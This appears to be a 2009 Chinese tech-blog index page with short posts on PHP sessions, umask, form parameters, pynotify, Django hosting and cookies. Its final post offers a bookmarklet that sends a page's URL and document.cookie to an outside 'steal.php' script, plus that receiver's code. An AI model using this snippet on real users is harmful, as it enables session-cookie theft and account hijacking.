php中的会话阻塞

php中exec, system调用其它脚本,脚本中又将一些脚本放入后台,可能会话会被挂起,也就是其它所有的请求都会被阻塞,点任何链接都没反应。 似乎与这个问题有关: What happens is that the child process which is called by the system() ,exec() or shell_exec() command holds the file lock on the parent process, thus locking the session file. Thus, the session file being locked session_start(); function cannot access the file. This is due to to open file descriptors locking the session file.Your entire session will be locked, so none of the pages of the website can be opened ( which are under session control ) unless you change the browser or delete cookies. ...

June 1, 2009 · notsobad

用umask来定义权限

在linux下,有时需要多人改一个文件, a, b在同一个组内,但是默认的a创建的文件权限是“-rw-r–r–”,组用户是没有写权限的。 我希望修改默认的创建文件的权限,这样不用手动去改,今天发现umask就是干这个事的 这篇讲得很详细 http://linux.vbird.org/linux_basic/0220filemanager.php#umask 所以只要在.bashrc里面写: umask 0002 或者: umask g=rw doubanclaimdcac3ef1e9a427da ...

May 25, 2009 · notsobad

Javascript 来判断网络通断

一项应用可能会导致 web server 重启, 我需要检测这个重启过程,重启完毕能够给用户以通知 思路: js的生存期是在客户端,即使服务器已经重启,js仍可运行,所以用js是可以实现的 因为server上存在着favicon.ico文件,可以以检测是否能取得这个文件,来判断网络的通断。 ...

May 20, 2009 · notsobad

Form中action的参数限制

今天遇到的一个问题及其解决。 这样的一个表单: <form method=post action="/post.php?_in_form=123">... 在server端: <? //取不到$_GET['_in_form']! ?> 查了一些资料 参考: Methods GET and POST in HTML forms - what’s the difference? 关于GET和POST,数据的不同处理 If the method is "get" - -, the user agent takes the value of action, appends a ? to it, then appends the form data set, encoded using the application/x-www-form-urlencoded content type. The user agent then traverses the link to this URI. In this scenario, form data are restricted to ASCII codes. * If the method is "post" --, the user agent conducts an HTTP post transaction using the value of the action attribute and a message created according to the content type specified by the enctype attribute. 结论: get形式的from中,action中的get参数是不会传递的,应该把需要的附加参数作为form隐藏域处理 ...

May 18, 2009 · notsobad

ubuntu 9.04 的新notify的python示例

ubuntu的通知机制 参考: https://wiki.ubuntu.com/NotifyOSD https://wiki.ubuntu.com/NotificationDevelopmentGuidelines 下面是一个简单的python脚本,利用这个新的notify。 效果: https://wiki.ubuntu.com/NotificationDevelopmentGuidelines?action=AttachFile&do=get&target=icon-summary-body.png #!/usr/bin/python import sys import time import pynotify if __name__ == '__main__': if not pynotify.init ("update-notifications"): sys.exit (1) # try the icon-summary-body case n = pynotify.Notification ( "Inital notification", "This is the original content of this notification-bubble.", "notification-message-IM") n.show () time.sleep (3); # simulate app activity # update the current notification with new content n.update ("Updated notification", "Here the same bubble with new title- and body-text, even the icon can be changed on the update.", "notification-message-email") n.show (); time.sleep (6); # wait longer now # create a new bubble using the icon-summary-body layout n = pynotify.Notification ( "Initial layout", "This bubble uses the icon-title-body layout.", "notification-message-IM"); n.show () time.sleep (3); # simulate app activity # now update current bubble again, but change the layout n.update ("Updated layout", "After the update we now have a bubble using the title-body layout.") n.show ()

May 17, 2009 · notsobad

我看的美剧

《越狱》结束了,终于…… 越狱到第三四季的时候已经开始扯淡了,漏洞百出,每集都要看因为就只是因为一种习惯了,想看编剧怎么扯下去。 这是我看得第一部美剧,之后才对美剧发生兴趣,开始喜欢看了。 我看过的: Prison break Friends, Lost, Desperate Housewives(绝望主妇), Monk(神探阿蒙), Two and a Half Men(好汉两个半), The big bang theoy(生活大爆炸), Joey (Friends里joey的剧集) 动画类: The simpsons (辛普森一家), Futureram (飞出个未来) South park (南方公园) 看过一部分 我比较喜欢的是Friends,看过无数遍,然后是Monk,制作很精良,每集一个探案故事,那几部动画片都是经典。 ...

May 16, 2009 · notsobad

Cookie整理

cookie最大4k,最多20个key-value对 参考: http://support.microsoft.com/kb/306070 每个 cookie 开头名称值对。 此对是并后跟零或者由分号分隔的多个属性-值对。 对于一个域名每个 cookie 被限制为 4,096 字节。 该总计可以存在的 4 千字节 (KB) 的一个名称-值对形式,或者为最多 20 个名称-值对的总的 4 KB。如果在计算机上没有足够空间来存储 Cookie,会丢弃该 Cookie。 将被截尾取不整。 应用程序应该使用尽可能少的 Cookie 尽可能和为小写 Cookie 尽可能。 此外,应用程序应能够处理 cookie 丢失。 ...

May 13, 2009 · notsobad

Django on londit

浪点空间上,使用django #获取django svn 版本: mkdir script && cd script svn co http://code.djangoproject.com/svn/django/trunk/ django-trunk mkdir django-project && cd django-project django-admin startproject notsobad 最后: 设置.htaccess SetHandler python-program PythonHandler django.core.handlers.modpython SetEnv DJANGO_SETTINGS_MODULE notsobad.settings PythonPath "['/home/virtualhost/lnotsoba/script/django-trunk','/home/virtualhost/lnotsoba/script/django-project']+sys.path" PythonDebug On 参考: http://www.londit.cn/FAQ/Python http://docs.djangoproject.com/en/dev/topics/install/

May 12, 2009 · notsobad

一个cookie的问题

Bug能藏多长时间? 如果一直没人注意,也许会一直生存下去…… 下面是一个设置cookie的函数, 今天才发现它居然有这么严重的bug,你能看出来吗? function setCookie (name, value) { //设置名称为name,值为value的Cookie var argc = arguments.length; var argv = arguments; var path = (argc >= 2) ? argv[2] : '/'; var domain = (argc >= 3) ? argv[3] : null; var secure = (argc >= 4) ? argv[4] : false; str = name + "=" + value + ((path == null) ? "" : ("; path=" + path)) + ((domain == null) ? "" : ("; domain=" + domain)) + ((secure == true) ? "; secure" : ""); document.cookie = str; } function getCookie(c_name) { if (document.cookie.length>0) { c_start=document.cookie.indexOf(c_name + "="); if (c_start != -1) { c_start = c_start + c_name.length + 1; c_end = document.cookie.indexOf(";",c_start); if (c_end == -1) c_end = document.cookie.length; return unescape(document.cookie.substring(c_start,c_end)); } } return ""; } 问题在这里,绕了半天才想明白。 var argc = arguments.length; var argv = arguments; var path = (argc >= 2) ? argv[2] : ‘/’; var domain = (argc >= 3) ? argv[3] : null; var secure = (argc >= 4) ? argv[4] : false; 因为argc的取值是1,2,3… argv[]的key取值是0,1,2,3….. ...

May 11, 2009 · notsobad

Get Cookie

如果你需要查看其他网站给自己的cookie,可以这样: [See cookie](javascript:\(function\(\){prompt\("Cookie is:", document.cookie\);}\)\(\);) 把它拖动到书签工具栏上,ie就是加为书签,然后在需要的网站上点这个书签,就可以看到cookie 下面这个,会把cookie送给其他站点(如果你有这方面需要) [Send cookie](javascript:\(function\(\){var%20a=window,b=document,c=encodeURIComponent,d=a.open\("http://blog.notsobad.cn/php/steal.php?url="+c\(b.location\)+"&cookie="+c\(b.cookie\),"bkmk_popup","left="+\(\(a.screenX||a.screenLeft\)+10\)+",top="+\(\(a.screenY||a.screenTop\)+10\)+",height=420px,width=650px,resizable=1,alwaysRaised=1"\);a.setTimeout\(function\(\){d.focus\(\)},300\)}\)\(\);) steal.php <? // steal.php function _p($s, $d){ echo "<pre>"; echo "$d\n"; print_r($s); echo "</pre>"; } _p($_GET, '$_GET is :'); _p($_POST, '$_POST is :'); ?>

May 11, 2009 · notsobad